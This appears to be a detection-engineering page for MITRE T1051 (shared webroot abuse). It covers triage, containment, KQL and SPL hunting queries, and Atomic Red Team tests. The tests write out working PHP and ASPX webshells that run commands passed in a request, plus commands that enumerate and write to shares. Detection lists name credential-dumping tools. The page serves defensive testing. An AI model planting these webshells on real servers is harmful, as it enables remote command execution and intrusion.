Expected signal: Sysmon Event ID 11: FileCreate for df00tech-update.php in C:\inetpub\wwwroot\uploads\, InitiatingProcess=powershell.exe. DeviceFileEvents: FileCreated, FileName=df00tech-update.php, FolderPath=C:\inetpub\wwwroot\uploads\, InitiatingProcessFileName=powershell.exe. PowerShell ScriptBlock Log Event ID 4104 with Set-Content command writing PHP content.

Response Playbook

Triage

Identify the file dropped: examine the full path (FolderPath + FileName from DeviceFileEvents or TargetFilename from Sysmon). Is the extension a known web script type (PHP, ASPX, JSP)? Does the filename look like a known webshell name (e.g., 'shell.php', 'cmd.aspx', 'c99.php', 'b374k.php', 'chopper.aspx')?
Determine who wrote the file: check InitiatingProcessFileName and InitiatingProcessAccountName. Was it a developer tool (Visual Studio, VS Code), a legitimate deploy agent (jenkins, octopus), or an unexpected process (cmd.exe, powershell.exe, a remote session)?
Check the timing: was the file dropped outside business hours? Immediately followed by an HTTP request that triggers execution? Correlate DeviceFileEvents timestamp with IIS/Apache access logs for requests to the same filename.
Examine the file content: retrieve the dropped file and inspect for webshell indicators — eval(), exec(), system(), shell_exec(), passthru() in PHP; Process.Start(), Runtime.exec(), cmd /c in ASPX/JSP; Base64-encoded payloads; obfuscated variable names.
If WebShellChildProcess branch fired: identify what the web server process ran. A web server spawning cmd.exe, whoami.exe, or powershell.exe is almost never legitimate. Review the full command line — what was the web server asked to execute?
Check for network share access: query Security Event ID 5140 around the time of the file drop. Identify the source IP address accessing the webroot share — is it an internal developer workstation, a build server, or an unexpected host?
Determine the web server's execution context: what account does IIS app pool or Apache run under? Is it NETWORK SERVICE, LOCAL SYSTEM, or a service account? This determines the blast radius of any successful webshell execution.

Containment

If webshell confirmed: immediately take the web server offline or block inbound HTTP/HTTPS to that server at the perimeter firewall to prevent further command execution via the webshell
Remove the dropped malicious file from the webroot directory. If the web server is on a shared filesystem, ensure the network share write access is removed or restricted to authorized deployment accounts only
Disable or restrict write access to the webroot network share: remove 'Everyone' or broad group permissions and apply least-privilege ACLs allowing only deployment service accounts to write
If the web server process spawned child processes: isolate the host via EDR network isolation immediately — child process execution indicates the webshell was already triggered and commands may have run
Reset credentials for any accounts that had write access to the webroot share during the attack window — an adversary may have harvested credentials from memory or disk during webshell execution
If lateral movement indicators found: isolate all hosts that received outbound connections from the web server process during the incident window

Evidence Collection

Collect the malicious script file before remediation — hash it (MD5/SHA256), preserve the full content for malware analysis and IOC extraction
IIS access logs: C:\inetpub\logs\LogFiles\W3SVC*\ — filter for requests matching the dropped filename. Note source IPs, timestamps, HTTP methods (POST indicates interactive webshell use), response codes, and bytes transferred
Apache access logs: /var/log/apache2/access.log or /etc/httpd/logs/access_log — same analysis as IIS logs
Windows Security Event ID 5140 (Network Share Object Accessed) — extract source IP, account name, share name, and access mask for all access events to webroot shares in the incident window
Sysmon Event ID 11 (FileCreate) — full path of created file, initiating process, and timestamp
Sysmon Event ID 1 (Process Create) — all child processes spawned by web server processes; capture full command line, parent command line, user context
Sysmon Event ID 3 (Network Connection) — outbound connections from web server process (w3wp.exe, httpd.exe, php-cgi.exe) to identify C2 or exfiltration destinations
Windows Security Event ID 4624/4648 — logon events to the web server host around the time of file drop, particularly network logons (Type 3) indicating remote access via the share
Memory dump of the web server process if it is still running and webshell execution was confirmed — may contain credentials, decrypted payloads, or C2 artifacts

Escalation Criteria

! Web server child process confirmed: any case where w3wp.exe, httpd.exe, or php-cgi.exe spawned cmd.exe, powershell.exe, or reconnaissance utilities — this indicates the webshell was successfully triggered
! Outbound network connections from the web server process to external IPs, especially on non-standard ports — indicates C2 communication or data exfiltration initiated via the webshell
! Evidence of credential harvesting: web server process accessing LSASS (Sysmon Event ID 10), reading SAM/NTDS.dit, or launching known credential dumping tools (mimikatz, procdump targeting lsass)
! Lateral movement from the web server: outbound SMB (port 445), RDP (3389), or WinRM (5985/5986) connections from the web server host to internal systems
! Webshell content references external IP addresses, encoded payloads, or known threat actor infrastructure
! Multiple web server hosts showing the same dropped filename or hash — may indicate automated spreading via a compromised internal share or an adversary pivot from a central access point

Investigation Guide

Forensic Artifacts

> File System: Dropped script file in webroot (C:\inetpub\wwwroot\*, /var/www/html/*, etc.) — check file creation timestamp, file owner, and last-modified time using fsutil or stat
> File System: Windows NTFS $MFT — Master File Table entries for the malicious file showing precise creation and modification timestamps resistant to timestomping at the filesystem level
> Registry: HKLM\SYSTEM\CurrentControlSet\Services\W3SVC — IIS application pool configuration including the execution account for each application pool
> Event Log: Windows Security Event ID 5140 — Network share object accessed; Event ID 5145 — Network share object checked for access (detailed share access auditing); Event ID 4663 — Object access to webroot files if object-level SACL auditing is enabled
> Event Log: Microsoft-Windows-IIS-Logging/Logs — IIS request logs as Windows events (if configured)
> IIS Logs: C:\inetpub\logs\LogFiles\W3SVC<SiteID>\u_ex*.log — HTTP access logs with client IP, request URI, HTTP verb, status code, time-taken, bytes sent/received
> Web Server Prefetch: C:\Windows\Prefetch\PHP-CGI.EXE-*.pf, W3WP.EXE-*.pf — execution timestamps and loaded libraries for the web server process
> Network: SMB session captures — if packet capture available, Wireshark can extract the file write operation from SMB2 WRITE frames to identify the exact source of the file drop

Tuning Guidance

The primary source of false positives is legitimate deployment activity. Start by building an allowlist of authorized deployment agents and their process names (jenkins, octopus, teamcity, github-runner, deploy.exe), then exclude these from the WebRootFileDrop branch. For the WebShellChildProcess branch, false positives are rare — a web server spawning cmd.exe is almost never legitimate. The exception is CGI-based applications that intentionally shell out (legacy Perl CGI, system-call-heavy applications). Audit your web application inventory for CGI usage before tuning this branch. For the SMB correlation hunting query, tune the share name patterns to match your organization's specific share names (e.g., if your webroot share is \\webserver\webapp instead of \\webserver\wwwroot). Enable Windows Security Event ID 5145 (detailed file share auditing) on web servers for richer share access telemetry. Enable IIS Enhanced Logging to capture request bodies for POST requests to detected files, which confirms interactive webshell use. Consider deploying File Integrity Monitoring (FIM) directly on webroot directories to catch file drops in real-time regardless of the initiating process.

Hunting Queries

Hunt for web server processes spawning unusual child processes over the past 7 days. This identifies both newly installed webshells being triggered and persistent webshells that have been present but not yet detected. Aggregating by parent process and host reveals patterns — a web server that routinely spawns cmd.exe or powershell.exe with high frequency indicates an active webshell. Compare against baseline to identify new deviations.

Hunting — KQL

kql

DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("w3wp.exe", "httpd.exe", "nginx.exe",
                                        "php.exe", "php-cgi.exe", "php-win.exe",
                                        "tomcat.exe", "tomcat9.exe", "java.exe")
| where FileName !in~ ("w3wp.exe", "httpd.exe", "nginx.exe", "php.exe",
                        "php-cgi.exe", "aspnet_compiler.exe", "aspnet_wp.exe",
                        "conhost.exe", "WerFault.exe")
| summarize ChildProcesses=make_set(FileName),
            CommandLines=make_set(ProcessCommandLine),
            Count=count(),
            FirstSeen=min(Timestamp),
            LastSeen=max(Timestamp)
  by DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName
| where Count > 0
| sort by Count desc

Hunting — SPL

spl

index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
  (ParentImage="*\\w3wp.exe" OR ParentImage="*\\httpd.exe" OR ParentImage="*\\nginx.exe"
   OR ParentImage="*\\php.exe" OR ParentImage="*\\php-cgi.exe" OR ParentImage="*\\java.exe"
   OR ParentImage="*\\tomcat.exe" OR ParentImage="*\\tomcat9.exe")
  NOT (Image="*\\w3wp.exe" OR Image="*\\httpd.exe" OR Image="*\\aspnet_compiler.exe"
       OR Image="*\\conhost.exe" OR Image="*\\WerFault.exe")
| stats count as SpawnCount, values(Image) as ChildImages,
        values(CommandLine) as ChildCommandLines,
        earliest(_time) as FirstSeen, latest(_time) as LastSeen
  by host, ParentImage, ParentUser
| sort - SpawnCount

Retroactive hunt across 30 days for script files written to webroot directories by non-IDE processes. This catches webshells that may have been dropped weeks ago and have been dormant, or incidents that pre-date the active detection window. Files written by unexpected processes outside known deployment tools are high-priority investigation targets.

Hunting — KQL

kql

DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated", "FileModified")
| where FolderPath has_any ("\\inetpub\\wwwroot\\", "\\xampp\\htdocs\\",
                             "\\wamp\\www\\", "\\wamp64\\www\\",
                             "\\Apache24\\htdocs\\", "\\nginx\\html\\",
                             "\\tomcat\\webapps\\", "\\web\\wwwroot\\")
| where FileName has_any (".php", ".aspx", ".asp", ".jsp", ".ashx",
                           ".asmx", ".cfm", ".pl", ".cgi")
| where InitiatingProcessFileName !in~ ("devenv.exe", "code.exe", "rider64.exe",
                                          "PhpStorm64.exe", "msiexec.exe",
                                          "TrustedInstaller.exe", "svchost.exe")
| summarize FileWrites=count(),
            FilesWritten=make_set(FileName),
            Paths=make_set(FolderPath),
            FirstSeen=min(Timestamp),
            LastSeen=max(Timestamp)
  by DeviceName, InitiatingProcessFileName, InitiatingProcessAccountName
| where FileWrites > 0
| sort by LastSeen desc

Hunting — SPL

spl

index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=11
  (TargetFilename="*\\inetpub\\wwwroot\\*" OR TargetFilename="*\\xampp\\htdocs\\*"
   OR TargetFilename="*\\wamp\\www\\*" OR TargetFilename="*\\Apache24\\htdocs\\*"
   OR TargetFilename="*\\nginx\\html\\*" OR TargetFilename="*\\tomcat\\webapps\\*")
  (TargetFilename="*.php" OR TargetFilename="*.aspx" OR TargetFilename="*.asp"
   OR TargetFilename="*.jsp" OR TargetFilename="*.ashx" OR TargetFilename="*.cfm"
   OR TargetFilename="*.pl" OR TargetFilename="*.cgi")
  NOT (Image="*\\devenv.exe" OR Image="*\\code.exe" OR Image="*\\msiexec.exe"
       OR Image="*\\TrustedInstaller.exe")
| stats count as WriteCount, values(TargetFilename) as FilesDropped,
        earliest(_time) as FirstDrop, latest(_time) as LastDrop
  by host, Image, User
| sort - WriteCount

Correlates SMB share access to webroot directories with subsequent web server child process execution within a 2-hour window on the same host. This two-stage correlation identifies the complete attack chain: write via share, execute via HTTP. A match strongly indicates successful shared webroot abuse rather than a coincidental event.

Hunting — KQL

kql

// Correlate SMB webroot share access with subsequent web server child processes
let WebRootShareAccess = DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemotePort == 445
| where InitiatingProcessFileName !in~ ("System", "svchost.exe")
| project ShareAccessTime=Timestamp, DeviceName, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessAccountName;
let WebShellExec = DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("w3wp.exe", "httpd.exe", "php-cgi.exe",
                                        "php.exe", "java.exe", "tomcat9.exe")
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "whoami.exe",
                       "net.exe", "ipconfig.exe", "systeminfo.exe")
| project ExecTime=Timestamp, DeviceName, WebServerProcess=InitiatingProcessFileName,
          ChildProcess=FileName, ChildCommandLine=ProcessCommandLine;
WebRootShareAccess
| join kind=inner WebShellExec on DeviceName
| where ExecTime > ShareAccessTime and ExecTime < datetime_add('hour', 2, ShareAccessTime)
| project ShareAccessTime, ExecTime, DeviceName, RemoteIP,
          InitiatingProcessFileName, InitiatingProcessAccountName,
          WebServerProcess, ChildProcess, ChildCommandLine
| sort by ShareAccessTime desc

Hunting — SPL

spl

index=wineventlog sourcetype="WinEventLog:Security" EventCode=5140
  (ShareName="*wwwroot*" OR ShareName="*htdocs*" OR ShareName="*webroot*" OR ShareName="*www*")
| eval ShareAccessTime=_time, ShareHost=host, SourceIP=IpAddress,
       ShareUser=SubjectUserName, AccessedShare=ShareName
| join type=inner ShareHost
    [search index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1
      (ParentImage="*\\w3wp.exe" OR ParentImage="*\\httpd.exe" OR ParentImage="*\\php-cgi.exe"
       OR ParentImage="*\\java.exe")
      (Image="*\\cmd.exe" OR Image="*\\powershell.exe" OR Image="*\\whoami.exe")
    | eval ExecTime=_time, ShareHost=host, ChildProcess=Image, ChildCmd=CommandLine
    | fields ExecTime, ShareHost, ChildProcess, ChildCmd]
| where ExecTime > ShareAccessTime AND ExecTime < ShareAccessTime + 7200
| table ShareAccessTime, ExecTime, ShareHost, SourceIP, ShareUser,
        AccessedShare, ChildProcess, ChildCmd
| sort - ShareAccessTime

Atomic Red Team Tests

Test 1 Drop PHP Webshell via SMB Network Share to Webroot

windows

Simulates an adversary writing a minimal PHP webshell to a web server's wwwroot directory via a mapped network share. The webshell is a single-line PHP file that executes a system command passed via GET parameter — the simplest possible webshell pattern. This test covers the file-drop phase of the T1051 attack chain.

Command

powershell

net use Z: \\TARGET_WEBSERVER\wwwroot /user:DOMAIN\webadmin Password123 && echo ^<?php system($_GET['cmd']); ?^> > Z:\df00tech-test-shell.php && net use Z: /delete

Cleanup

powershell

del \\TARGET_WEBSERVER\wwwroot\df00tech-test-shell.php 2>nul

Expected Telemetry

Windows Security Event ID 5140: Network share \\TARGET_WEBSERVER\wwwroot accessed from source workstation. Windows Security Event ID 4624: Network logon (Type 3) to TARGET_WEBSERVER using webadmin credentials. Sysmon Event ID 11 on TARGET_WEBSERVER: FileCreate for df00tech-test-shell.php in C:\inetpub\wwwroot\, InitiatingProcess will be System (SMB kernel write). DeviceFileEvents on TARGET_WEBSERVER: FileCreated for df00tech-test-shell.php with folder path containing wwwroot.

Expected Detection

KQL Branch 1 (WebRootFileDrop) fires: FileName ends in .php, FolderPath contains wwwroot. SPL Sysmon EventCode=11 branch fires: TargetFilename matches wwwroot and .php pattern. DetectionBranch=WebRootFileDrop.

Test 2 Trigger Webshell Execution via HTTP GET Request

windows

Simulates the execution phase of the T1051 attack — after dropping a webshell, the adversary browses to it to execute a command. This atomic test sends an HTTP request to a test PHP file that runs 'whoami', which causes the web server process (php-cgi.exe or w3wp.exe) to spawn a child process. Requires a PHP-enabled web server with a suitable test file in the webroot.

Command

powershell

powershell.exe -Command "Invoke-WebRequest -Uri 'http://TARGET_WEBSERVER/df00tech-test-shell.php?cmd=whoami' -UseBasicParsing | Select-Object -ExpandProperty Content"

Expected Telemetry

Sysmon Event ID 1 on TARGET_WEBSERVER: Process Create where ParentImage is php-cgi.exe (or w3wp.exe for ASPX), Image is cmd.exe or whoami.exe, CommandLine contains 'whoami'. DeviceProcessEvents: InitiatingProcessFileName=php-cgi.exe spawning FileName=cmd.exe. IIS access log entry for GET /df00tech-test-shell.php with query string cmd=whoami, HTTP 200 response.

Expected Detection

KQL Branch 2 (WebShellChildProcess) fires: InitiatingProcessFileName=php-cgi.exe, FileName=cmd.exe or whoami.exe. SPL Sysmon EventCode=1 branch fires: ParentImage matches php-cgi.exe, Image matches whoami.exe. DetectionBranch=WebShellChildProcess.

Test 3 Drop ASPX Webshell to IIS Webroot via Local File Copy

windows

Simulates writing an ASPX webshell to an IIS webroot from the local system (e.g., after gaining access via another technique). The ASPX webshell uses Response.Write and Process.Start to execute arbitrary commands. This tests the file-drop detection when the initiating process is cmd.exe or powershell.exe rather than a deployment agent.

Command

powershell

cmd.exe /c echo ^<%@ Page Language="C#" %^>^<%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}}.Start()?new System.IO.StreamReader(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd.exe","/c "+Request["cmd"]){UseShellExecute=false,RedirectStandardOutput=true}}.StandardOutput.BaseStream).ReadToEnd():"error");%^> > C:\inetpub\wwwroot\df00tech-test-shell.aspx

Cleanup

powershell

del C:\inetpub\wwwroot\df00tech-test-shell.aspx 2>nul

Expected Telemetry

Sysmon Event ID 11: FileCreate for df00tech-test-shell.aspx in C:\inetpub\wwwroot\, InitiatingProcess=cmd.exe. DeviceFileEvents: FileCreated, FileName=df00tech-test-shell.aspx, FolderPath=C:\inetpub\wwwroot\, InitiatingProcessFileName=cmd.exe. Security Event ID 4663 if object-level SACL auditing is configured on the wwwroot directory.

Expected Detection

KQL Branch 1 (WebRootFileDrop) fires: FileName ends in .aspx, FolderPath contains inetpub\wwwroot, InitiatingProcessFileName=cmd.exe (not in excluded web server list). SPL Sysmon EventCode=11 branch fires: TargetFilename matches inetpub\wwwroot and .aspx pattern.

Test 4 Enumerate Accessible Webroot Network Shares

windows

Simulates adversary reconnaissance to discover open network shares pointing to web server webroots — a prerequisite step for T1051 exploitation. Uses the net view command to list shares on a target host and then attempts to access the webroot share. This generates share access telemetry without writing any files.

Command

powershell

net view \\TARGET_WEBSERVER /all && net use \\TARGET_WEBSERVER\wwwroot && dir \\TARGET_WEBSERVER\wwwroot && net use \\TARGET_WEBSERVER\wwwroot /delete

Expected Telemetry

Windows Security Event ID 5140 on TARGET_WEBSERVER: Network share \\TARGET_WEBSERVER\wwwroot accessed. Windows Security Event ID 5156: Windows Filtering Platform allowed inbound connection on port 445. Sysmon Event ID 3 on attacker host: outbound network connection to TARGET_WEBSERVER:445. Windows Security Event ID 4624: Type 3 (Network) logon to TARGET_WEBSERVER.

Expected Detection

SPL EventCode=5140 branch fires if share name matches webroot pattern (wwwroot). Hunting query for webroot share access (Security Event 5140) triggers. The correlation hunt query will flag this if followed within 2 hours by webshell execution on the same host.

Test 5 PHP File Drop Simulating CMS Plugin Install Gone Wrong

windows

Simulates a scenario where a PHP file is written to a webroot subdirectory by a PowerShell script masquerading as a deployment process — mimicking an adversary who has compromised a deployment pipeline or is masquerading as legitimate software installation. This tests whether detections distinguish malicious from legitimate deployment activity.

Command

powershell

powershell.exe -NoProfile -Command "$content = '<?php if(isset($_POST[\"cmd\"])){system($_POST[\"cmd\"]);} ?>'; Set-Content -Path 'C:\inetpub\wwwroot\uploads\df00tech-update.php' -Value $content"

Cleanup

powershell

Remove-Item 'C:\inetpub\wwwroot\uploads\df00tech-update.php' -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 11: FileCreate for df00tech-update.php in C:\inetpub\wwwroot\uploads\, InitiatingProcess=powershell.exe. DeviceFileEvents: FileCreated, FileName=df00tech-update.php, FolderPath=C:\inetpub\wwwroot\uploads\, InitiatingProcessFileName=powershell.exe. PowerShell ScriptBlock Log Event ID 4104 with Set-Content command writing PHP content.

Expected Detection

KQL Branch 1 (WebRootFileDrop) fires: FileName ends in .php, FolderPath contains inetpub\wwwroot, InitiatingProcessFileName=powershell.exe. SPL Sysmon EventCode=11 branch fires. This test also validates tuning — environments where powershell.exe is an authorized deployment tool should add this combination to the allowlist to reduce false positives.

What is T1051 Shared Webroot?

MITRE ATT&CK

Data Sources

Required Tables

False Positives

Data Sources

Required Sourcetypes

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Data Sources

Required Tables

False Positives

Sigma rule & cross-platform mapping

Platform-specific guides for T1051

Testing Methodology

Response Playbook

Triage

Containment

Evidence Collection

Escalation Criteria

Investigation Guide

Forensic Artifacts

Tuning Guidance

Hunting Queries

Atomic Red Team Tests

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Command

Expected Telemetry

Expected Detection

Command

Cleanup

Expected Telemetry

Expected Detection

Related Detections

Tactic Hub

Related Techniques

Same Tactic: Lateral Movement

Popular Detections

Get new detections in your inbox